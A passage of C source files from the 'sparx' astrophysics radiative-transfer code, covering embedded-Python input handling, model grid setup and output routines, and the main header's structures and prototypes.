"license_type": "no_license", "max_line_length": 95, "num_lines": 312, "path": "/src/sparx-python.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#include \"sparx.h\"\n#include \"debug.h\"\n#include <stdarg.h>\n\n#define PYMAIN\\\n\tPyImport_AddModule(\"__main__\")\n\n/*----------------------------------------------------------------------------*/\n\nint SpPy_GetInput_PyObj(const char *name, PyObject **obj)\n/* Get user input as Python object, returns a NEW reference which\n * must be DECREF'd */\n{\n\tint sts = 0;\n\tPyObject *inputs = NULL, *INP_DICT = NULL, *keyobj = NULL;\n\t\n\t/* Import sparx.inputs (new ref) */\n\tif(!(inputs = PyImport_ImportModule(\"sparx.inputs\"))) {\n\t\tPyWrErr_SetString(PyExc_Exception, \"Error importing sparx.inputs\");\n\t\tsts = 1;\n\t}\n\n\t/* Get INP_DICT dictionary (new ref) */\n\tif(!sts) {\n\t\tINP_DICT = PyObject_GetAttrString(inputs, \"INP_DICT\");\n\t\tif(!INP_DICT) {\n\t\t\tPyWrErr_SetString(PyExc_Exception, \"Error retrieving sparx.inputs.INP_DICT\", name);\n\t\t\tsts = 1;\n\t\t}\n\t}\n\n\t/* Get input keyword from dictionary (new ref) */\n\tif(!sts) {\n\t\t*obj = keyobj = PyDict_GetItemString(INP_DICT, name);\n\t\tif(keyobj) {\n\t\t\t/* VERY IMPORTANT! */\n\t\t\tPy_INCREF(keyobj);\n\t\t}\n\t\telse {\n\t\t\tPyWrErr_SetString(PyExc_Exception, \"Keyword '%s' not set\", name);\n\t\t\tsts = 1;\n\t\t}\n\t}\n\n\t/* Cleanup */\n\tPy_XDECREF(INP_DICT);\n\tPy_XDECREF(inputs);\n\n\treturn sts;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpPy_CheckOptionalInput(const char *name)\n/* Check whether key 'name' exists and is not none. If any error occurrs or\n * the key is none, return 0; otherwise return 1 */\n{\n\tint sts = 0, exists = 0;\n\tPyObject *obj = 0;\n\n\tsts = SpPy_GetInput_PyObj(name, &obj);\n\n\tif(!sts) {\n\t\tif(obj != Py_None) exists = 1;\n\t\tPy_DECREF(obj);\n\t}\n\n\treturn exists;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpPy_GetInput_int(const char *name, int *value)\n/* Get user input as size_t and return error status */\n{\n\tint status = 0;\n\tPyObject *obj;\n\n\tstatus = SpPy_GetInput_PyObj(name, &obj);\n\tif(!status) {\n\t\t*value = (int)PyInt_AsLong(obj);\n\t\tPy_DECREF(obj);\n\t}\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpPy_GetInput_sizt(const char *name, size_t *value)\n/* Get user input as size_t and return error status */\n{\n\tint status = 0;\n\tPyObject *obj;\n\n\tstatus = SpPy_GetInput_PyObj(name, &obj);\n\tif(!status) {\n\t\t*value = (size_t)PyInt_AsLong(obj);\n\t\tPy_DECREF(obj);\n\t}\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpPy_GetInput_dbl(const char *name, double *value)\n/* Get user input as size_t and return error status */\n{\n\tint status = 0;\n\tPyObject *obj;\n\n\tstatus = SpPy_GetInput_PyObj(name, &obj);\n\tif(!status) {\n\t\t*value = PyFloat_AsDouble(obj);\n\t\tPy_DECREF(obj);\n\t}\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpPy_GetInput_bool(const char *name, int *value)\n/* Get user input as size_t and return error status */\n{\n\tint status = 0;\n\tPyObject *obj;\n\n\tstatus = SpPy_GetInput_PyObj(name, &obj);\n\tif(!status) {\n\t\t*value = PyObject_IsTrue(obj);\n\t\tPy_DECREF(obj);\n\t}\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpPy_GetInput_model(const char *name, SpModel *model)\n/* Get user input as size_t and return error status */\n{\n\tint status = 0;\n\tPyObject *obj;\n\n\tstatus = SpPy_GetInput_PyObj(name, &obj);\n\n\tif(!status) {\n\t\tif((status = SpIO_OpenModel(Sp_PYSTR(obj), model)))\n\t\t\tPyWrErr_SetString(PyExc_Exception, \"Error opening model '%s'\", Sp_PYSTR(obj));\n\t\tPy_DECREF(obj);\n\t}\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpPy_GetInput_molec(const char *name, Molec **molec)\n/* Get user input as size_t and return error status */\n{\n\tint status = 0;\n\tPyObject *obj;\n\n\tstatus = SpPy_GetInput_PyObj(name, &obj);\n\tif(!status) {\n\t\tif(!(*molec = SpIO_FreadMolec(Sp_PYSTR(obj)))) {\n\t\t\tPyWrErr_SetString(PyExc_Exception, \"Error opening molecule '%s'\", Sp_PYSTR(obj));\n\t\t\tstatus = 1;\n\t\t}\n\t\tPy_DECREF(obj);\n\t}\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpPy_GetInput_spfile(const char *name, SpFile **fp, int mode)\n/* Get user input as size_t and return error status */\n{\n\tint status = 0;\n\tPyObject *obj;\n\n\tstatus = SpPy_GetInput_PyObj(name, &obj);\n\tif(!status) {\n\t\t*fp = SpIO_OpenFile(Sp_PYSTR(obj), mode);\n\t\tif(!*fp) {\n\t\t\tPyWrErr_SetString(PyExc_Exception, \"Error opening SPARX file '%s'\", Sp_PYSTR(obj));\n\t\t\tstatus = 1;\n\t\t}\n\t\tPy_DECREF(obj);\n\t}\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpPy_GetInput_mirxy_new(const char *name, size_t nx, size_t ny, size_t nv, MirFile **fp)\n/* Get user input as size_t and return error status */\n{\n\tint status = 0;\n\tPyObject *obj;\n\n\tstatus = SpPy_GetInput_PyObj(name, &obj);\n\tif(!status) {\n\t\t*fp = MirXY_Open_new(Sp_PYSTR(obj), nx, ny, nv);\n\t\tif(!*fp) {\n\t\t\tPyWrErr_SetString(PyExc_Exception, \"Error opening Miriad XYV file '%s'\", Sp_PYSTR(obj));\n\t\t\tstatus = 1;\n\t\t}\n\t\tPy_DECREF(obj);\n\t}\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid SpPy_CallVoidFunc(const char *func)\n{\n\tPyObject *o;\n\t\n\to = SpPy_GETMAIN(func);\n\tDeb_ASSERT(o != NULL);\n\n\tPyObject_CallFunction(o, NULL);\n\tPy_DECREF(o);\n\n\tif(PyErr_Occurred())\n\t\tErr_SETSTRING(\"Internal Python error\");\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpPy_Initialize(void)\n/* Initialize external Python resources */\n{\n\tint status = 0;\n\tsize_t i;\n\tFILE *fp = 0;\n\tconst char *files[] = {\n\t\t\"pysparx-module.py\",\n\t\t\"pysparx-inputs.py\",\n\t\t\"pysparx-tasks.py\",\n\t\t\"pysparx-main.py\",\n\t\t0\n\t};\n\tchar *string;\n\n\t/* Init program path */\n\tif(!status)\n\t\tstatus = PyWrRun_SimpleString(\"Sp_ROOT='%s'\", Sp_ROOT);\n\n\tif(!status)\n\t\tstatus = PyWrRun_SimpleString(\"Sp_MPIRANK=%d\", Sp_MPIRANK);\n\n\t/* Init geomtry types */\n\tif(!status)\n\t\tstatus = PyWrRun_SimpleString(\"GEOM_TYPES={}\");\n\n\tfor(i = 0; GEOM_TYPES[i].name; i++) {\n\t\tif(!status)\n\t\t\tstatus = PyWrRun_SimpleString(\"GEOM_TYPES['%s']=%d\", GEOM_TYPES[i].name, GEOM_TYPES[i].idx);\n\t}\n\n\tfor(i = 0; files[i] && !status; i++) {\n\t\t/* Load input related routines */\n\t\tstring = Mem_Sprintf(\"%s/%s\", Sp_ROOT, files[i]);\n\t\tif(!(fp = fopen(string, \"r\"))) {\n\t\t\tstatus = Err_SETSTRING(\"Could not open file `%s'\", string);\n\t\t}\n\t\telse {\n\t\t\tstatus = PyRun_SimpleFile(fp, string);\n\t\t\tif(status)\n\t\t\t\tErr_SETSTRING(\"Python error in file `%s'\", string);\n\n\t\t\tfclose(fp);\n\t\t}\n\t\tfree(string);\n\t}\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nPyObject *SpPy_GetMain(const char *symb, const char *file, int line, const char *func)\n/* Retrieve a Python object from the __main__ module.\n * This returns a NEW reference to PyObject *.\n */\n{\n\tint status = 0;\n\tstatic PyObject *__main__ = 0;\n\tPyObject *op = 0;\n\t\n\t/* Get borrowed reference to __main__ */\n\tif(!__main__)\n\t\t__main__ = PYMAIN;\n\n\t/* Check if symb has been set in __main__ */\n\tif(!status && PyObject_HasAttrString(__main__, symb))\n\t\top = PyObject_GetAttrString(__main__, symb);\n\telse\n\t\tErr_SetString(file, line, func, \"Error retrieving Python object `%s' from __main__.\", symb);\n\n\treturn op;\n}\n\n\n\n" }, { "alpha_fraction": 0.4448468089103699, "alphanum_fraction": 0.4662952721118927, "avg_line_length": 27.711999893188477, "blob_id": "5092bdaef9fc7fa0c913a627f71e0254895135f9", "content_id": "6be01bb0ab765ef7392fbde0c93a4da9632360e6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3590, "license_type": "no_license", "max_line_length": 98, "num_lines": 125, "path": "/src/sparx-model.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#include \"sparx.h\"\n\n/*----------------------------------------------------------------------------*/\n\nvoid SpModel_PrintModel(SpModel model)\n/* Display model contents on stdout */\n{\n Sp_PRINTF(\"T_cmb: %g K\\n\", model.parms.T_cmb);\n Sp_PRINTF(\"Gas-to-dust: %g\\n\", model.parms.gas_to_dust);\n\n if(model.parms.mol)\n Mol_Fprintf(stdout, model.parms.mol);\n\n if(model.grid)\n SpZone_FPRINTF(stdout, model.grid);\n\n return;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid SpModel_PrintModelToRatranFile(SpModel model, FILE *fp)\n/* Display model contents on fp */\n{\n size_t i = 0;\n SpPhys *pp = NULL;\n Zone *zp = NULL;\n\n Deb_ASSERT(fp != NULL);\n Deb_ASSERT(model.grid->voxel.geom == GEOM_SPH1D);\n\n #define P(...) fprintf(fp, __VA_ARGS__)\n P(\"rmax=%.3e\\n\", model.grid->voxel.max.x[0]);\n P(\"ncell=%zu\\n\", model.grid->nchildren);\n P(\"tcmb=%.3f\\n\", model.parms.T_cmb);\n P(\"columns=id,ra,rb,nh,nm,tk,td,db,vr\\n\");\n P(\"gas:dust=%.3f\\n\", model.parms.gas_to_dust);\n P(\"@\\n\");\n\n for(i=0; i< model.grid->nchildren; i++) {\n zp = model.grid->children[i];\n pp = zp->data;\n\n P(\"%5zu\", i+1);\n P(\" %12.6e\", zp->voxel.min.x[0]);\n P(\" %12.6e\", zp->voxel.max.x[0]);\n P(\" %12.6e\", pp->n_H2);\n P(\" %12.6e\", pp->X_mol * pp->n_H2);\n P(\" %12.6e\", pp->T_k);\n P(\" %12.6e\", pp->T_d);\n P(\" %12.6e\", pp->V_t);\n P(\" %12.6e\", pp->v_cen.x[0]);\n P(\"\\n\");\n }\n\n #undef P\n return;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid SpModel_Cleanup(SpModel model)\n{\n if(model.grid)\n SpZone_FREE(model.grid);\n\n /* Molecule must be freed AFTER grid, since it\n * requires information on the molecule to free\n * collisional rates and things */\n if(model.parms.mol)\n Mol_Free(model.parms.mol);\n\n return;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid SpModel_InitGrid(SpModel *model, int geom, GeVec3_d min, GeVec3_d max, GeVec3_s ndiv)\n/* Allocate root zone and set geometry/dimensions of bounding volume */\n{\n model->grid = SpZone_ALLOC(&model->parms);\n model->grid->voxel = GeVox_Init(geom,\n GeVec3_X(min, 0),\n GeVec3_X(min, 1),\n GeVec3_X(min, 2),\n GeVec3_X(max, 0),\n GeVec3_X(max, 1),\n GeVec3_X(max, 2));\n SpZone_GROW(model->grid, ndiv, &model->parms);\n\n return;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid SpModel_GenModel_UniSphere(SpModel *model, double n_H2, double T_k, double X_mol)\n/* Generate a uniform, static, spherical model */\n{\n Zone *grid = model->grid, *zp;\n SpPhys *pp;\n GeVec3_d delta = grid->voxel.delta;\n double dx, dy, dz, radius;\n double dim_min = Num_MIN(GeVec3_X(delta, 0), Num_MIN(GeVec3_X(delta, 1), GeVec3_X(delta, 2)));\n\n /* Fill in values */\n for(zp = Zone_GetMinLeaf(grid); zp; zp = Zone_AscendTree(zp)) {\n dx = zp->voxel.cen.x[0] - grid->voxel.cen.x[0];\n dy = zp->voxel.cen.x[1] - grid->voxel.cen.x[1];\n dz = zp->voxel.cen.x[2] - grid->voxel.cen.x[2];\n\n radius = sqrt(dx * dx + dy * dy + dz * dz);\n\n if(radius <= (dim_min / 2.0)) {\n pp = zp->data;\n pp->n_H2 = n_H2;\n pp->T_k = T_k;\n pp->X_mol = X_mol;\n\n pp->v_cen.x[0] = 0;\n pp->v_cen.x[1] = 0;\n pp->v_cen.x[2] = 0;\n }\n }\n\n}\n\n" }, { "alpha_fraction": 0.6662693619728088, "alphanum_fraction": 0.6722288727760315, "avg_line_length": 32.790931701660156, "blob_id": "ddf8897693fda6706fc2bd68dd26ad67bccb9c97", "content_id": "37c0e158aa61d4e18a8a9643b8fc9d116582e17f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 13424, "license_type": "no_license", "max_line_length": 108, "num_lines": 397, "path": "/src/sparx.h", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#ifndef __SPARX_H__\n#define __SPARX_H__\n\n#define STRINGIZE_(x) #x\n#define STRINGIZE(x) STRINGIZE_(x)\n\n/* Root of the sparx directory, holds Python source files\n * needed at runtime */\n#ifdef ROOT\n\t#define Sp_ROOT STRINGIZE(ROOT)\n#else\n\t#define Sp_ROOT \"./\"\n#endif\n\n/* Maximum number threads for multi-threading */\n#ifdef NTHREAD\n#define Sp_NTHREAD ((size_t)NTHREAD)\n#else\n#define Sp_NTHREAD ((size_t)4)\n#endif\n\n/* Normalization scale for geometrical objects */\n#define Sp_LENFAC PHYS_UNIT_MKS_PC\n\n/* Input handling in sparx relies heavily on embedded Python. Check out\n * The Python/C API (http://www.python.org/doc/2.5/api/api.html) for\n * more details. The Python.h header must be placed at the very beginning\n * of every file that needs to access the API. */\n#include <Python.h>\n\n/* MPI header file */\n#ifdef HAVE_MPI\n#include <mpi.h>\n#endif\n\n/* HDF5! */\n#include <hdf5.h>\n#include <hdf5_hl.h>\n\n/* Standard C library headers */\n#include <pthread.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <math.h>\n#include <assert.h>\n#include <float.h>\n#include <time.h>\n\n/* Other in-house routines */\n#include \"memory.h\"\n/* Error handling is done through an in-house api. See the source files\n * for more details */\n#include \"error.h\"\n#include \"miriad-wrappers.h\"\n#include \"cpgplot-wrappers.h\"\n#include \"python-wrappers.h\"\n#include \"geometry.h\"\n#include \"zone.h\"\n#include \"zone-hdf5.h\"\n#include \"debug.h\"\n#include \"numerical.h\"\n#include \"physics.h\"\n#include \"molec.h\"\n#include \"kappa.h\"\n\n/* Globally useful constants */\n#define PI Num_PI\n#define TWOPI Num_TWOPI\n#define T_CMB 2.728\n#define GAS_TO_DUST 100.0\n\n/******************************************************************************\n * Global resources\n ******************************************************************************/\n\n/* Definition of the sparx global parameter structure */\ntypedef struct SpParm {\n\tchar prog[BUFSIZ];\n\tint debug, verbose, deprecated, user; /* Flags */\n\tconst char *task; /* Task name */\n\tFILE *out_fp, *err_fp; /* FILE pointer for outputs */\n\tint mpi_size, mpi_rank; /* MPI stuff */\n\tchar *molec_path, *kappa_path;\n} SpParm;\n\n#define Sp_MPIRANK ((size_t)Sp_parm.mpi_rank)\n#define Sp_MPISIZE ((size_t)Sp_parm.mpi_size)\n#define Sp_MPITAG 0\n\n/******************************************************************************\n * Inputs\n ******************************************************************************/\n/* The SpKey structure is meant for defining inputs to a task. */\ntypedef struct SpKey {\n\tconst char *name, *format, *deflt, *doc;\n} SpKey;\n\n#define Sp_KEY(name, format, deflt, doc)\\\n\t{(name), (format), (deflt), (doc)}\n\ntypedef struct SpTask {\n\tconst char *name, *doc;\n\tint (*func)(void);\n\tSpKey **keys;\n} SpTask;\n\n#define Sp_TASK(name, doc, func, keys)\\\n\t{(name), (doc), (func), (keys)}\n\nvoid SpInp_PrintKeys(void);\n\nPyObject *SpInp_GetKey(const char *key, const char *file, int line, const char *func);\n#define SpInp_GETKEY(key)\\\n\tSpInp_GetKey((key).name, __FILE__, __LINE__, __FUNCTION__)\n\n#define SpInp_GETKEYSTR(key)\\\n\tSpInp_GetKey((key), __FILE__, __LINE__, __FUNCTION__)\n\nPyObject *SpInp_GetTaskKey(const char *task, const char *key, const char *file, int line, const char *func);\n#define SpInp_GETTASKKEY(task, key)\\\n\tSpInp_GetTaskKey((task), (key).name, __FILE__, __LINE__, __FUNCTION__)\n\n#define SpInp_TASKGETKEY(key)\\\n\tSpInp_GetTaskKey(Sp_parm.task, (key).name, __FILE__, __LINE__, __FUNCTION__)\n\n#define SpInp_GETTASKKEYSTR(task, key)\\\n\tSpInp_GetTaskKey((task), (key), __FILE__, __LINE__, __FUNCTION__)\n\nint SpPy_Initialize(void);\nint SpInp_InitTasks(SpTask *tasks[]);\n\nint SpInp_CheckKeys(void);\n\n#define Sp_PYLST(o, i)\\\n\tPyList_GetItem((o), (Py_ssize_t)(i))\n#define Sp_PYDBL(o)\\\n\tPyFloat_AsDouble(o)\n#define Sp_PYINT(o)\\\n\t(int)PyInt_AsLong(o)\n#define Sp_PYSIZE(o)\\\n\t(size_t)PyInt_AsLong(o)\n#define Sp_PYSTR(o)\\\n\tPyString_AsString(o)\n\n/* sparx-argp routines */\nvoid SpArg_Parse(int argc, char *argv[], SpParm *Sp_parm);\n\n/* sparx-physics routines */\ntypedef struct SpPhys {\n\tint non_empty_leaf, has_tracer;\n\tPyObject *velfield;\n\tconst Molec *mol;\n\tsize_t nray; /* For use in amc only */\n\tsize_t ncont; /* For use in telsim only */\n\tdouble\n\t\tn_H2, /* Molecular gas density (m^-3) */\n\t\tT_k, /* Kinetic temperature (K) */\n\t\tT_d, /* Dust temperature (K) */\n\t\tT_ff, /* Brightness temperature of free-free emission (K) */\n\t\tT_bb,\n\t\tX_mol, /* Molecular fractional abundance */\n\t\tX_pH2,\n\t\tX_oH2,\n\t\tX_e,\n\t\tX_H,\n\t\tX_He,\n\t\tV_t, /* RMS turbulent velocity */\n\t\twidth, /* Local velocity width (=sqrt(2)*sigma) (m/s) */\n\t\t*pops[Sp_NTHREAD], /* Fractional density of each level */\n\t\t*cmat, /* nlev x nlev matrix of collisional rates */\n\t\t*tau, /* nrad array of average tau */\n\t\tds; /* Path length averaged over all directions */\n\tstruct {\n\t\tdouble I_bb; /* Extra continuum flux */\n\t\tdouble freq, lambda;\n\t\tdouble j, k; /* Sum of all continuum emission and absorption (e.g. dust, fre-free... etc. */\n\t} *cont;\n\tGeVec3_d\n\t\tv_cen, /* Velocity at voxel center (km/s) */\n\t\tv_edge[6]; /* Velocity at cell edges (km/s) */\n\tconst Zone *zp; /* Zone containing this set of parameters */\n\t/* Strings describing continuum opacities: meant to be accessed by SpIO_LoadKappa(),\n\t must be either 'powerlaw,%10.3e,%10.3e,%10.3e' or 'table,<filename>' */\n\tchar kapp_d[ZoneH5_KAPPLEN]; /* Dust opacity */ \n\tchar kapp_ff[ZoneH5_KAPPLEN]; /* Free-free opacity */\n\n} SpPhys;\n\ntypedef struct SpPhysParm {\n\tPyObject *velfield;\n\tMolec *mol;\n\tdouble T_cmb, gas_to_dust;\n\n} SpPhysParm;\n\ntypedef struct SpModel {\n\tSpPhysParm parms;\n\tZone *grid;\n\n} SpModel;\n\nvoid *SpPhys_Alloc(const Zone *zp, const void *parms_p);\nvoid SpPhys_Free(void *ptr);\nvoid SpPhys_Fprintf(SpPhys *pp, FILE *fp);\nsize_t SpPhys_Fwrite(SpPhys *pp, FILE *fp);\nsize_t SpPhys_Fread(SpPhys *pp, FILE *fp);\nvoid SpPhys_InitMol(SpPhys *pp, const Molec *mol);\nvoid SpPhys_InitContWindows(SpPhys *pp, double freq[], size_t nfreq);\nvoid SpPhys_AddDust(SpPhys *pp, int cont, const Kappa *kap, double gas_to_dust);\n#define SpPhys_AddDust_mol(pp, kap, gas_to_dust)\\\n\tSpPhys_AddDust((pp), 0, (kap), (gas_to_dust))\n#define SpPhys_AddDust_cont(pp, kap, gas_to_dust)\\\n\tSpPhys_AddDust((pp), 1, (kap), (gas_to_dust))\nvoid SpPhys_AddCont(SpPhys *pp, int cont);\n#define SpPhys_AddCont_mol(pp)\\\n\tSpPhys_AddCont((pp), 0)\n#define SpPhys_AddCont_cont(pp)\\\n\tSpPhys_AddCont((pp), 1)\n\n/* New 08 Aug 2009 */\nvoid SpPhys_AddContinuum(SpPhys *pp, int cont, double T_bb, const Kappa *kap, double rho);\nvoid SpPhys_AddContinuum_d(SpPhys *pp, int cont, double gas_to_dust);\nvoid SpPhys_AddContinuum_ff(SpPhys *pp, int cont);\nvoid SpPhys_SetContinuumIntens_bb(SpPhys *pp, int cont, double T_bb, double I_norm);\n\nvoid SpPhys_InitCollRates(SpPhys *pp);\ndouble SpPhys_GetCollDens(const SpPhys *pp, int species);\nvoid SpPhys_ProcLamda(Molec *mol);\ndouble SpPhys_Zfunc(const Molec *mol, double T_k);\ndouble SpPhys_BoltzPops(const Molec *mol, size_t lev, double T_k);\nvoid SpPhys_GetMoljk(size_t tid, const SpPhys *pp, size_t tr, double vfac, double *j_nu, double *k_nu);\nGeVec3_d SpPhys_GetVgas(const GeVec3_d *pos, const Zone *zone);\ndouble SpPhys_GetVfunc(const GeRay *ray, double dt, double v_los, const Zone *zone);\ndouble SpPhys_GetVfac(const GeRay *ray, double dt, double v_los, const Zone *zone, int debug);\ndouble _SpPhys_BoltzRatio(const Molec *mol, size_t up, size_t lo, double T_k);\n#define SpPhys_BoltzRatio(mol, up, lo, T_k)\\\n\t_SpPhys_BoltzRatio((mol), (size_t)(up), (size_t)(lo), (T_k))\nvoid SpPhys_PushPopsStack(double *stack, size_t nstack, double *pops, size_t nlev);\ndouble SpPhys_CalcPopsDiff(const double *stack, size_t nstack, size_t nlev, double minpop);\ndouble SpPhys_CalcLineWidth(const SpPhys *pp);\n#define SpPhys_LIMITTAU(tau)\\\n\t{if((tau) < -30.0) {(tau) = -30.0;}}\n\n/* sparx-model routines */\nvoid SpModel_PrintModel(SpModel model);\nvoid SpModel_PrintModelToRatranFile(SpModel model, FILE *fp);\nvoid SpModel_Cleanup(SpModel model);\nvoid SpModel_InitGrid(SpModel *model, int geom, GeVec3_d min, GeVec3_d max, GeVec3_s ndiv);\nvoid SpModel_GenModel_UniSphere(SpModel *model, double n_H2, double T_k, double X_mol);\n\n/* sparx-util routines */\nvoid SpUtil_Threads(void *(*ThreadFunc)(void *));\nint SpUtil_Threads2(size_t nthread, void *(*ThreadFunc)(void *));\nint SpUtil_TermThread(void);\n\n#define Sp_CHECKTERMTHREAD()\\\n\t{if(SpUtil_TermThread()) break;}\n\n/* sparx-zone routines */\n#define SpZone_ALLOC(parms_ptr)\\\n\tZone_Alloc(0, 0, SpPhys_Alloc, (parms_ptr))\n\n#define SpZone_FREE(zone)\\\n\tZone_Free((zone), SpPhys_Free);\n\n#define SpZone_FPRINTF(fp, zone)\\\n\tZone_Fprintf((fp), (zone), (void (*)(void *, FILE *fp))SpPhys_Fprintf);\n\n#define SpZone_GROW(zone, naxes, parms_ptr)\\\n\tZone_GrowChildren((zone), (naxes), SpPhys_Alloc, (parms_ptr))\n\n#define SpZone_FWRITE(zone, fp)\\\n\tZone_Fwrite((zone), (size_t (*)(void *, FILE *))SpPhys_Fwrite, (fp))\n\n#define SpZone_FREAD(parms_ptr, fp)\\\n\tZone_Fread(SpPhys_Alloc, (parms_ptr), (size_t (*)(void *, FILE *))SpPhys_Fread, (fp))\n\n/* sparx-io routines */\n#define Sp_PRINT(...)\\\n\tSpIO_Print(__FILE__, __LINE__, __FUNCTION__, __VA_ARGS__)\n#define Sp_PRINTF(...)\\\n\tSpIO_Printf(__FILE__, __LINE__, __FUNCTION__, __VA_ARGS__)\n#define Sp_PERR(...)\\\n\tSpIO_Perror(__FILE__, __LINE__, __FUNCTION__, __VA_ARGS__)\n#define Sp_PWARN(...)\\\n\tSpIO_Pwarn(__FILE__, __LINE__, __FUNCTION__, __VA_ARGS__)\n\nenum {\n\tSp_NEW,\n\tSp_OLD,\n\tSp_TRUNC\n};\n\ntypedef struct SpFile {\n\tchar *name;\n\tFILE *fp;\n\thid_t h5f_id;\n\n} SpFile;\n\nSpFile *SpIO_OpenFile(const char *fname, int mode); /* mode=Sp_NEW or Sp_OLD */\nint SpIO_OpenFile2(const char *fname, int mode, SpFile **fp);\nvoid SpIO_CloseFile(SpFile *sfp);\nint SpIO_OpenModel(const char *fname, SpModel *model);\nint SpIO_FwriteModel(SpFile *sfp, SpModel model);\nint SpIO_FreadModel(const SpFile *sfp, SpModel *model);\nMolec *SpIO_FreadMolec(const char *molname);\nKappa *SpIO_FreadKappa(const char *name);\nKappa *SpIO_LoadKappa(const char *string);\nvoid SpIO_SetTaskName(const char *str);\nvoid SpIO_Print(const char *file, int line, const char *func, const char *format, ...);\nvoid SpIO_Printf(const char *file, int line, const char *func, const char *format, ...);\nvoid SpIO_Pwarn(const char *file, int line, const char *func, const char *format, ...);\nvoid SpIO_Perror(const char *file, int line, const char *func, const char *format, ...);\nZoneH5_Record SpIO_ZoneToH5Record(const Zone *zone);\nvoid SpIO_ZoneFromH5Record(Zone *zone, ZoneH5_Record record);\nint SpIO_H5WriteGrid(hid_t h5f_id, const Zone *zone);\nint SpIO_H5ReadGrid(hid_t h5f_id, Zone **zone, SpPhysParm *parms);\nint SpIO_H5WritePops(hid_t h5f_id, const Zone *zone);\nint SpIO_H5ReadPops(hid_t h5f_id, Zone *zone);\nint SpIO_H5WriteTau(hid_t h5f_id, const Zone *zone);\nint SpIO_H5ReadTau(hid_t h5f_id, Zone *zone);\nint SpIO_H5GetAttribute_string(hid_t h5f_id, const char *obj_name, const char *attr_name, char **attribute);\n\n/* Global variables -- better keep these at the bottom! */\nextern struct SpParm Sp_parm;\nextern SpTask *Sp_tasks[];\n\n/* Tasks */\nint SpTask_Amc(void);\nint SpTask_AsciiGrid(void);\nint SpTask_Example(void);\nint SpTask_Powerlaw(void);\nint SpTask_PyGrid(void);\nint SpTask_Telsim(void);\nint SpTask_Uniform(void);\nint SpTask_UVSamp(void);\nint SpTask_Template(void);\nint SpTask_dumpmodel(void);\n\n/* Testing tasks */\nint SpTest_Key(void);\nint SpTest_Gaussian(void);\nint SpTest_XYReadWrite(void);\nint SpTest_UVResamp(void);\nint SpTest_Interp2d(void);\nint SpTest_FFT(void);\nint SpTest_Test(void);\n\n/* Keyword inputs */\nKappa *SpInp_GetKey_kappa(const char *name);\nconst char *SpInp_GetKey_str(const char *name);\nMirFile *SpInp_GetKey_miruv(const char *name, const char *mode);\n#define SpInp_GetKey_miruv_new(name)\\\n\tSpInp_GetKey_miruv((name), \"new\");\n#define SpInp_GetKey_miruv_old(name)\\\n\tSpInp_GetKey_miruv((name), \"old\");\nMirFile *SpInp_GetKey_mirxy_new(const char *name, size_t nx, size_t ny, size_t nv);\nMirFile *SpInp_GetKey_mirxy_old(const char *name, size_t *nx, size_t *ny, size_t *nv);\nPyObject *SpInp_GetKey_obj(const char *name);\nMolec *SpInp_GetKey_molec(const char *name);\nint SpInp_GetKey_model(const char *name, SpModel *model);\nSpFile *SpInp_GetKey_spfile(const char *name, int mode);\nint SpInp_GetKey_TF(const char *name);\nint SpInp_GetKey_int(const char *name);\nsize_t SpInp_GetKey_size_t(const char *name);\ndouble SpInp_GetKey_dbl(const char *name);\n\n/******************************************************************************\n * Embedded Python\n ******************************************************************************/\nPyObject *SpPy_GetMain(const char *symb, const char *file, int line, const char *func);\n\n#define SpPy_GETMAIN(symb)\\\n\tSpPy_GetMain((symb), __FILE__, __LINE__, __FUNCTION__)\n\n#define SpPy_XDECREF(o)\\\n\t{if(o) {Py_XDECREF(o); (o) = NULL;}}\n\n#define SpPy_CHECKEXC(action)\\\n\t{if(PyErr_Occurred()) action;}\n\nvoid SpPy_CallVoidFunc(const char *func);\nint SpPy_GetInput_PyObj(const char *name, PyObject **obj);\nint SpPy_CheckOptionalInput(const char *name);\nint SpPy_GetInput_int(const char *name, int *value);\nint SpPy_GetInput_sizt(const char *name, size_t *value);\nint SpPy_GetInput_dbl(const char *name, double *value);\nint SpPy_GetInput_bool(const char *name, int *value);\nint SpPy_GetInput_model(const char *name, SpModel *model);\nint SpPy_GetInput_molec(const char *name, Molec **molec);\nint SpPy_GetInput_spfile(const char *name, SpFile **fp, int mode);\nint SpPy_GetInput_mirxy_new(const char *name, size_t nx, size_t ny, size_t nv, MirFile **fp);\n\n#define T() printf(\"%s:%d\\n\", __FILE__, __LINE__)\n\n#endif\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.509553074836731, "alphanum_fraction": 0.535138726234436, "avg_line_length": 21.765151977539062, "blob_id": "678850c1956612f5ef854b890e42f64c38018fec", "content_id": "728ecb9df209449a576195ba04315a421b7bc901", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 6019, "license_type": "no_license", "max_line_length": 104, "num_lines": 264, "path": "/src/sparx-task-genmodel.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#include \"sparx.h\"\n\n/* Global parameter struct */\nstatic struct glb {\n\tint geom;\n\tsize_t ndiv;\n\tdouble dims, ngas, tkin, xmol;\n\tSpModel model;\n\tSpFile *out_fp;\n\tchar *fname;\n} glb;\n\n/* Keywords */\nstatic 